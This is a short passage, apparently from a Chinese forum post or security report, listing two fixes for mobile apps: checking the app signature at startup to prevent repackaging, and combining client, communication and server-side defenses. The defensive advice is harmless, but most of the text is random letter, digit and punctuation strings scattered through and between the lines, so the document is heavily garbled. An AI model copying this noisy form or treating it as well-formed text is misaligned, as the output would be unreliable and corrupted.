# j0 _; o7 B. s6 p* @ 9 v, A- S. f: z: B2 r

7 k- q6 l, J9 g: s ] 修复方法：

5 {& `) G6 H) B/ f' o% P9 B5 L 4 g9 S6 _$ U1 Z) n( ~( @7 |               1.在 APP 启动时应做签名校验防止二次打包。
+ C" q" Y8 |( d; j 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 % S9 u w n. P ( {/ ~) X ]2 c6 x% [& u

7 _ u& I! A+ z2 L5 e( n ! t- z& [5 c% g, D+ b& f. L ) R# l, o7 F# _+ d/ v* x( w0 {% S

& G: [" [; }6 Z/ }0 w3 H / M9 W" m/ r) |   5 d) ]% S3 q) y6 ?3 K1 X

) b2 v+ s5 g; f4 c( u3 n5 s; d/ K ( F+ g3 C) K& h$ k % f s; t' ]! Q" a) @ - C+ R( L$ w$ m

7 M: E7 l8 d9 P) H